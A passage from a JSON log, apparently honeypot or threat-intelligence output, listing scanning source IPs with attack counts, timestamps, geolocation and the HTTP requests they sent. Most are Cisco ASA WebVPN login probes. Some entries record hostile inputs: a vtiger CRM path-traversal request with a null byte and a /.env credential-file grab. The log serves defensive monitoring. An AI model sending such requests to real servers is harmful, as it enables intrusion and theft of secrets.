        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "146.70.168.163": {
      "attack_count": 3,
      "first_seen": "2026-05-27T10:08:32.904Z",
      "last_seen": "2026-05-27T10:08:40.815Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "192.42.116.42": {
      "attack_count": 3,
      "first_seen": "2026-05-24T01:24:01.080Z",
      "last_seen": "2026-05-24T01:24:04.237Z",
      "ports": [],
      "event_types": [
        "\"GET /recordings/main.php.2?5x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "212.83.160.70": {
      "attack_count": 3,
      "first_seen": "2026-05-24T01:18:04.694Z",
      "last_seen": "2026-05-24T01:18:04.695Z",
      "ports": [],
      "event_types": [
        "\"--------------------------8bd2ced8aa153f9a\" 400 -",
        "\"POST /vtigercrm/phprint.php?action=fa&module=ff&lang_crm=../../modules/Import/ImportStep2.php%00 HTTP/1.1\" 200 -",
        "code 400"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway SAS"
    },
    "23.234.77.23": {
      "attack_count": 3,
      "first_seen": "2026-05-07T01:37:50.079Z",
      "last_seen": "2026-05-07T01:37:58.012Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.81.65": {
      "attack_count": 3,
      "first_seen": "2026-05-04T11:37:07.820Z",
      "last_seen": "2026-05-04T11:37:16.744Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "65.49.1.226": {
      "attack_count": 3,
      "first_seen": "2026-05-23T05:33:26.513Z",
      "last_seen": "2026-05-23T05:35:05.770Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "104.152.52.232": {
      "attack_count": 2,
      "first_seen": "2026-05-02T00:57:41.227Z",
      "last_seen": "2026-05-02T00:57:41.884Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC"
    },
    "18.218.63.61": {
      "attack_count": 2,
      "first_seen": "2026-05-25T11:37:27.063Z",
      "last_seen": "2026-05-25T11:37:30.063Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc."
    },
    "205.210.31.109": {
      "attack_count": 2,
      "first_seen": "2026-05-20T03:20:23.638Z",
      "last_seen": "2026-05-20T03:20:26.641Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "44.202.144.21": {
      "attack_count": 2,
      "first_seen": "2026-05-25T01:00:21.238Z",
      "last_seen": "2026-05-25T01:00:24.240Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "45.10.156.109": {
      "attack_count": 2,
      "first_seen": "2026-05-21T01:56:34.162Z",
      "last_seen": "2026-05-21T01:56:34.795Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "74.82.47.44": {
      "attack_count": 2,
      "first_seen": "2026-05-26T00:33:37.901Z",
      "last_seen": "2026-05-26T00:33:43.600Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "86.38.177.53": {
      "attack_count": 2,
      "first_seen": "2026-05-20T03:29:03.053Z",
      "last_seen": "2026-05-20T03:29:03.912Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Lithuania",
      "country_code": "LT",
      "city": null,
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "167.99.237.5": {
      "attack_count": 1,
      "first_seen": "2026-05-08T02:15:04.155Z",
      "last_seen": "2026-05-08T02:15:04.155Z",
      "ports": [],
      "event_types": [
        "\"GET /.env HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "3.80.189.93": {
      "attack_count": 1,
      "first_seen": "2026-05-11T00:58:13.589Z",
      "last_seen": "2026-05-11T00:58:13.589Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "45.148.9.8": {
      "attack_count": 1,
      "first_seen": "2026-05-02T05:28:30.447Z",
      "last_seen": "2026-05-02T05:28:30.447Z",
      "ports": [],
      "event_types": [
        "\"POST /cgi HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 47890,
      "as_org": "Unmanaged Ltd"
    },
    "54.242.154.56": {
      "attack_count": 1,
      "first_seen": "2026-05-04T00:59:42.398Z",
      "last_seen": "2026-05-04T00:59:42.398Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "64.62.156.135": {
      "attack_count": 1,
      "first_seen": "2026-05-19T05:17:56.829Z",
      "last_seen": "2026-05-19T05:17:56.829Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.229": {
      "attack_count": 1,
      "first_seen": "2026-05-23T05:34:58.446Z",
      "last_seen": "2026-05-23T05:34:58.446Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "74.82.47.60": {
      "attack_count": 1,
      "first_seen": "2026-05-26T00:33:49.899Z",
      "last_seen": "2026-05-26T00:33:49.899Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "80.174.78.126": {
      "attack_count": 1,
      "first_seen": "2026-05-30T15:07:22.164Z",
      "last_seen": "2026-05-30T15:07:22.164Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Newport",
      "asn": 3257,
      "as_org": "GTT Communications Inc."
    },
    "87.236.176.34": {
      "attack_count": 1,
      "first_seen": "2026-05-19T02:11:55.743Z",
      "last_seen": "2026-05-19T02:11:55.743Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd"
    },
    "91.230.168.105": {
      "attack_count": 1,
      "first_seen": "2026-05-26T18:28:11.120Z",
      "last_seen": "2026-05-26T18:28:11.120Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "170.62.100.38": {
      "attack_count": 171,
      "first_seen": "2026-05-08T11:01:37.725Z",
      "last_seen": "2026-05-31T01:29:31.783Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "185.195.233.236": {
      "attack_count": 78,
      "first_seen": "2026-05-08T17:22:02.441Z",
      "last_seen": "2026-05-31T01:12:08.882Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 39351,
      "as_org": "31173 Services AB"
    },
    "37.19.221.137": {
      "attack_count": 72,
      "first_seen": "2026-05-02T00:01:20.497Z",
      "last_seen": "2026-05-27T20:23:01.622Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "185.209.199.52": {
      "attack_count": 57,
      "first_seen": "2026-05-08T12:44:23.256Z",
      "last_seen": "2026-05-30T15:11:20.362Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Gothenburg",
      "asn": 39351,
      "as_org": "31173 Services AB"
    },
    "45.134.142.199": {
      "attack_count": 54,
      "first_seen": "2026-05-02T04:44:28.036Z",
      "last_seen": "2026-05-30T05:52:27.699Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "78.153.155.177": {
      "attack_count": 50,
      "first_seen": "2026-05-31T01:04:50.926Z",
      "last_seen": "2026-05-31T05:20:55.000Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp"
    },
    "172.120.239.74": {
      "attack_count": 42,
      "first_seen": "2026-05-26T13:49:12.487Z",
      "last_seen": "2026-05-31T03:39:51.499Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "172.121.48.130": {
      "attack_count": 35,
      "first_seen": "2026-05-27T18:28:08.075Z",
      "last_seen": "2026-05-30T05:36:49.453Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "45.134.142.213": {
      "attack_count": 33,
      "first_seen": "2026-05-04T16:17:16.747Z",
      "last_seen": "2026-05-27T10:26:54.525Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "79.127.217.40": {
      "attack_count": 33,
      "first_seen": "2026-05-04T12:15:38.590Z",
      "last_seen": "2026-05-30T04:51:02.289Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 60068,
      "as_org": "Datacamp Limited"
    },
    "146.70.166.158": {
      "attack_count": 30,
      "first_seen": "2026-05-05T03:56:57.396Z",
      "last_seen": "2026-05-30T00:46:37.902Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "208.123.119.130": {
      "attack_count": 29,
      "first_seen": "2026-05-05T23:39:21.292Z",
      "last_seen": "2026-05-06T04:27:37.572Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 395092,
      "as_org": "Shock Hosting LLC"
    },
    "172.120.53.229": {
      "attack_count": 28,
      "first_seen": "2026-05-26T04:33:26.214Z",
      "last_seen": "2026-05-30T14:21:24.623Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "173.249.252.86": {
      "attack_count": 27,
      "first_seen": "2026-05-06T02:21:14.229Z",
      "last_seen": "2026-05-29T23:36:19.338Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "45.134.142.214": {
      "attack_count": 27,
      "first_seen": "2026-05-05T16:09:47.710Z",
      "last_seen": "2026-05-26T11:07:15.834Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "68.235.46.21": {
      "attack_count": 26,
      "first_seen": "2026-05-09T09:10:11.281Z",
      "last_seen": "2026-05-27T00:56:52.643Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "103.81.230.68": {
      "attack_count": 21,
      "first_seen": "2026-05-14T11:35:08.903Z",
      "last_seen": "2026-05-27T20:40:52.321Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "146.70.168.198": {
      "attack_count": 21,
      "first_seen": "2026-05-08T22:40:53.028Z",
      "last_seen": "2026-05-23T00:10:23.729Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "173.249.255.213": {
      "attack_count": 21,
      "first_seen": "2026-05-07T01:24:39.138Z",
      "last_seen": "2026-05-29T03:05:51.937Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.78.194": {
      "attack_count": 21,
      "first_seen": "2026-05-03T11:07:54.944Z",
      "last_seen": "2026-05-19T03:02:16.816Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.78.23": {
      "attack_count": 21,
      "first_seen": "2026-05-04T17:41:14.896Z",
      "last_seen": "2026-05-29T02:11:18.410Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "88.151.112.185": {
      "attack_count": 21,
      "first_seen": "2026-05-26T14:46:52.679Z",
      "last_seen": "2026-05-29T03:01:10.129Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "146.70.187.165": {
      "attack_count": 18,
      "first_seen": "2026-05-20T08:40:04.238Z",
      "last_seen": "2026-05-31T03:30:38.632Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.103.80": {
      "attack_count": 18,
      "first_seen": "2026-05-05T20:15:34.054Z",
      "last_seen": "2026-05-30T15:05:23.730Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.117.150": {
      "attack_count": 18,
      "first_seen": "2026-05-02T05:33:23.282Z",
      "last_seen": "2026-05-27T16:43:59.240Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.117.195": {
      "attack_count": 18,
      "first_seen": "2026-05-05T05:51:21.408Z",
      "last_seen": "2026-05-26T13:36:44.404Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.90.195": {
      "attack_count": 18,
      "first_seen": "2026-05-03T01:48:32.049Z",
      "last_seen": "2026-05-30T02:18:34.417Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "138.199.43.99": {
      "attack_count": 15,
      "first_seen": "2026-05-20T13:45:24.262Z",
      "last_seen": "2026-05-30T05:05:41.063Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.159.216.73": {
      "attack_count": 15,
      "first_seen": "2026-05-11T09:47:23.692Z",
      "last_seen": "2026-05-22T10:40:18.186Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 17243,
      "as_org": "Byte Node LLC"
    },
    "23.162.40.207": {
      "attack_count": 15,
      "first_seen": "2026-05-05T15:22:31.128Z",
      "last_seen": "2026-05-30T08:38:55.323Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 400882,
      "as_org": "Cyber Data LLC"
    },
    "23.234.106.164": {
      "attack_count": 15,
      "first_seen": "2026-05-05T12:41:42.583Z",
      "last_seen": "2026-05-26T15:49:27.041Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.114.68": {
      "attack_count": 15,
      "first_seen": "2026-05-04T11:58:58.590Z",
      "last_seen": "2026-05-26T16:17:21.982Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.79.73": {
      "attack_count": 15,
      "first_seen": "2026-05-04T10:38:05.318Z",
      "last_seen": "2026-05-30T10:01:36.325Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
